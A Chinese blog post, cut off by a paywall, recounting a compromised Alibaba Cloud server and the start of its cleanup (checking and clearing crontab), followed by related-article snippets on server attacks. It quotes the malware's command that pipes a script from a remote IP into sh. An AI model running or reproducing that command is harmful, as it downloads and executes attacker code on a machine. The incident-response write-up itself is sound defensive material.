记一次阿里云黑客攻击事件

最新推荐文章于 2025-06-08 10:48:26 发布
最新推荐文章于 2025-06-08 10:48:26 发布
阅读量8.9k 收藏 3
点赞数 8
CC 4.0 BY-SA版权
分类专栏： 阿里云 网络安全 文章标签： 阿里云 防火墙 黑客攻击
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/u012259256/article/details/79840356

这几天服务器一直发生异常行为，阿里云报警如下：



根据执行命令：/bin/sh -c curl -fsSL http://165.225.157.157:8000/i.sh | sh 可知道，后台某个进程一直从这个美国的IP地址下载sh可执行文件

访问这个地址：http://165.225.157.157:8000/i.sh

看到执行语句如下：


大概明白，意思是定时从这个地址获取sh可执行文件，然后添加到定时任务crontab，还生成了ddgs.3010文件不断后台执行。

So，第一步，查看crontab -l ，果然有


那么显而易见，执行：crontab -r&nbs

最低0.47元/天 解锁文章

新学期VIP享超值加赠
记一次服务器被黑客攻击（暴力破解密码）的记录
zhaojiafu的博客
09-18 3253
文章目录说明：1、我是怎么发现的呐？2、开始弥补我的过错①、查看阿里云②、重置服务器+修改密码③、修改安全组 说明： 其实我没有想过我的服务器被黑客攻击，直到我今天发现，其实还好是自己的服务器我急搭建个学习的测试而已，如果是工作中的可就真的尴尬了，所以，有服务器的小伙伴注意了，端口号访问要做限制ip，尽量限制自己的公司ip和家里ip，还有登陆密码设置难一点，防止被暴力破解。 限制访问端口22登陆ip+密码设置长点难点，双保险吧。 我的一直觉得弄着玩，主要自己对服务器的了解不是这么多。今天正好学习下了。 1、
如何应对阿里云服务器被暴力破解的攻击
cooldream2009的博客
10-07 3191
随着云计算技术的快速发展，越来越多的企业和个人用户选择将业务部署到云服务器上，然而，云服务器的安全性问题却时刻威胁着用户的数据和业务安全，尤其是暴力破解攻击。这类攻击通过不断尝试各种密码组合，最终获取服务器的控制权限。如果服务器的密码设置不当，攻击者很可能在短时间内入侵服务器，进而造成业务中断、数据泄露等严重后果。本文将详细介绍我在阿里云服务器上遭遇暴力破解攻击的经历，包括问题的发现、应对措施和最终的解决方案，并提供一些防范此类攻击的建议，帮助用户提升云服务器的安全性。
阿里云 黑客_今天要考虑的3个云安全“黑客”
cxt70571的博客
07-08 263
阿里云 黑客 您是通常所说的云安全人员或cloudsec / cloudops吗？ 控制云部署的人员，包括IAM（身份和访问管理），加密服务以及应用程序和用户身份验证等所有安全性？ 我对共享的云安全性有一些看法。 首先，企业通常没有合适的安全解决方案。 对于我在云中看到的大多数安全解决方案，看来公司已经启用了本机公共云安全性，进行了一些迭代，并称之为一天。 第二，安全性不被视为通过技术不...
云数据库被黑客攻击了
weixin_46822367的博客
03-29 8606
云数据库被黑客攻击了
阿里云核心域名竟遭劫持，博客园等众多网站瘫痪，幕后黑手究竟是谁？
最新发布
程序员的那些事
06-08 1002
故障波及众多依赖阿里云服务的网站和应用，如知名技术论坛博客园无法正常访问，大量企业应用跳出 404 错误，业务中断、数据传输受阻，海外用户因 DNS 缓存问题，在修复后仍有访问异常的情况。域名下的子域名被用于恶意网络行为，Shadowserver 为阻止进一步恶意活动，直接将其解析转移至自己的服务器，但这种做法被认为过于激进。还有人认为，可能是阿里云的 OSS 被人上传了违规内容，有人举报到美国 Verisign 公司，根据 ICANN 规则，Verisign 将。08:40 分，所有服务恢复正常。
阿里云DDos&WAF 紧急处理流程
修电脑的码农
08-05 4195
高防IP紧急处理 4层攻击 一、解除黑洞 DDoS高防IP服务提供对进入黑洞的高防IP实例中部分线路的高防IP进行解封的功能，即您可以自行针对某条被黑洞的高防线路的高防IP进行解封操作。 说明： * 每个高防IP服务用户每天拥有三次黑洞解封机会，超过三次后将无法进行解封操作。系统将在每天零点时重置黑洞解封次数，当天未使用的解封次数不会累计到下一天。 * BGP线路暂不支持黑洞解...
阿里云被攻击的处理方法
xyyaq的博客
04-01 5284
现在云服务器非常普遍，当下最多用到的就是阿里云、华为云、腾讯云等云服务器 但是如果我们在使用服务器的过程当中碰到黑客的DDOS攻击，我们应当怎么处理呢？ 下面就以阿里云被攻击为例子给大家举例： 当我们的阿里云服务器受到攻击的时候我们的绑定手机会收到短信 当我们收到这个短信的时候，如果是第一次碰到难免心里会惊慌失措，但是大家不要着急，因为在很多时候我们的云服务器本身只有默认5G的防护值，很容易就超过防护阈值，导致我们的业务宕机，一旦业务宕机直接影响到的就是我们的团队以及市场运营，所以怎么样去解
阿里云服务器安全知识：服务器被黑客攻击？或许这些行为你从未在意过 ...
weixin_34146805的博客
02-25 1097
随着互联网技术的发展，技术的透明化，服务器系统漏洞百出，黑客充分利用，居多重要数据被盗，或破坏，正是如此，需要加强我们的安全意识，以防网站、系统等重要数据被盗。服务器重要设置事项（windows篇）： 1、系统盘和站点放置盘必须设置为NTFS格式，方便设置权限。 2、系统盘和站点放置盘除administrators 和system的用户权限全部去除。 3...
记一次阿里云被挖矿处理记录
m0_61101264的博客
08-17 307
本篇文章还有很多的不足之处，并没有找到病毒攻击的入口，又是如何入侵到系统的，挖矿的脚本究竟运行在哪？按照正常的被攻击排错方式，一开始并不顺利。总结一下系统被入侵的排查思路，只是给后来者提供一下解决思路（希望大家的系统都很健壮，不被攻击）。查看系统的CPU和内存占用查询占用系统资源过高的进程排查定时任务，crontab -l或者目录检查异常端口，如发现，禁用端口，堵漏使用last命令查看系统异常登录情况（一般攻击者会抹去入侵记录）使用history。
阿里云中mysql数据库被攻击了,最终数据找回来了
m0_67401499的博客
07-30 1183
简单通俗来讲，其实就是一个记录所有增删改操作记录的日志。我们可以通过它来对误操作的数据进行恢复，当然还可以用来进行主从数据库的同步操作。以前一直觉得网络安全不是很重要,那是因为没有发生在自己的身上,这几天让我感受到了它的无比重要,发誓以后要重视网络安全这方面,同时加强自身的知识水平,避免再次发生先自我介绍一下，小编13年上师交大毕业，曾经在小公司待过，去过华为OPPO等大厂，18年进入阿里，直到现在。httpshttpshttpshttpshttpshttpshttpshttps。...
我的阿里云服务器被攻击了
2301_77019676的博客
01-08 628
服务器被DDoS攻击最恶心，尤其是阿里云的服务器受攻击最频繁，因为黑客都知道阿里云服务器防御低，一但被攻击就会进入黑洞清洗，轻的IP停止半小时，重的停两个至24小时，给网站带来很严重的损失。而处理 ddos 攻击的最少成本是防止，不要等到攻击到来再防御，首先成本远超攻击前的防御，因此当ddos 攻击开始时防御，不但会造成高额成本，如果有把柄在黑客手中，就更加麻烦了，所以事前防御才是上上策。
2t3ik与ddgs挖矿病毒处理
xiaoluyouyue的博客
06-01 423
一、问题现象 朋友的阿里云LINUX服务器， 发现有2t3ik与ddgs两个异常进程，把CPU几乎耗尽了。其描述kill掉以后，过一会儿又会重新出现。 2t3ik_worm 二、分析处理 即然kill 后过一会儿又会出现，那就有两种可能：1、crontab定时调用；2、有守护进程，个别病毒还会修改ps和top，通过这些命令无法查看到隐藏的守护进程。先看了下crontab，发现如...
最牛天才黑客：21岁崩溃阿里内网，马云给年薪500万，如今怎么样了？
bigbangbangbang1的博客
07-09 1524
相信你一定听过阿里有一个神秘的部门，叫阿里神盾局。这个部门是保障全球最庞大电子商务生态系统安全的“网络特工队”，也是保障“双11”“红包大战”能顺利进行的幕后功臣。神盾局里卧虎藏龙，而其中就包括安全界赫赫有名的吴瀚清。网上一直称他为能让马云睡得安稳的男人。吴瀚清五月底已从阿里离职，职级P10,接下来其将深度拥抱AI新时代，投身于AI 短视频赛道创业。这位被阿里程序员奉为大神的人，有着太多传奇的经历。说起吴瀚清，应该有很多人很熟悉，简单说一下他的履历：15岁考入西安交大少年班。
命令中/bin/sh -c 参数
热门推荐
qq_44792624的博客
07-07 2万+
/bin/sh -c的必要性 引用： https://blog.youkuaiyun.com/qq_34562093/article/details/89948303 用法 一、 比如要向 test.asc 文件中随便写入点内容，可以： $ echo “信息” >> test.csv 如果将 test.asc 权限设置为只有 root 用户才有权限进行写操作： $ sudo chown root.root test.csv 然后，我们使用 sudo 并配合 echo 命令再次向修改权限之后的 test.as
The command ‘/bin/sh -c echo “StrictHostKeyChecking no“ ＞＞ /etc/ssh/ssh_config && /get-docker.sh‘
Laiyunpeng666的博客
07-08 1186
创建docker bulid时候报错 问题现象：： Step 7/7 : RUN echo “StrictHostKeyChecking no” >> /etc/ssh/ssh_config && /get-docker.sh —> Running in 773442d42139 Executing docker install script, commit: 3d8fe77c2c46c5b7571f94b42793905e5b3e42e4 sh -c apt-ge
dockerfile报错：“/bin/sh -c yum -y install vim net-tools wget“ did not complete successfully: exit code
weixin_47202856的博客
06-25 5643
ERROR: failed to solve: process "/bin/sh -c yum -y install vim net-tools wget" did not complete successfully: exit code: 1。解决办法
阿里云服务器遇到ddos攻击怎么半？
abbe1809927446的博客
03-29 1425
要保护阿里云服务器的安全，必须注意并检测异常流量和攻击，及时响应和对策，必要时可以使用第三方防护系统或其它安全服务，如群联智能ai云防护系统以保障应用网络的安全性和服务的持续性，还可以测试看到效果。3、防护服务：如果退出问题，用户可以使用阿里云官方的网络安全服务，这些服务提供了定制化的防御选项，包括自动攻击检测和DDoS攻击拦截，确保您的应用程序保持安全。1、降低攻击流量：当余量不到防护带宽时，用户可以设置软件防火墙规则，过滤掉DDoS攻击的流量，防止被攻击服务器资源受到进一步占用。
阿里云centos上处理2t3ik与ddgs病毒
u013068789的博客
08-18 369
阿里云centos上处理2t3ik与ddgs病毒   有段时间没有登陆阿里云了，前两天收到阿里云的短信，意思是:检测到我的linux服务器出现异常文件下载，请登陆控制台查看，我登陆控制台看到如下图显示 系统centos 由于我是新手，点了半天也没有免费的修复的按钮，而且升级企业版才可以查看，穷屌丝一个，升级企业版是不可能得到…… 于是我就没有管它。 今天有时间登陆阿里云服务器看看什...
Redis配置错误导致主机被黑
若鱼的专栏
04-16 1714
现象以及如何处理参考：http://blog.51cto.com/hld1992/2047658公司有台做voip的服务器最近CPU总是跑满，这机器自从交给厂家搭好环境后基本就没怎么管它，于是进去查看进程，top了下（见下图）这个叫wnTKYg的进程很诡异，已经把CPU吃光了，上网一查，原来是中了挖矿的马。（啊，我的天。这只是一个单核1G内存的阿里云主机）既然被入侵了，那就得干掉它，下面是解决过程...
DDoS攻击防御解析：阿里云应对策略
"阿里云深入分析了DDoS攻击的防御策略，特别是针对攻击的不同类型进行了详细的讲解，包括SYNFlood、ICMP Flood、UDP Flood等。文章指出，DDoS攻击是目前最强大且最难防御的攻击手段之一，其目的在于使目标服务瘫痪。...
评论 7
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值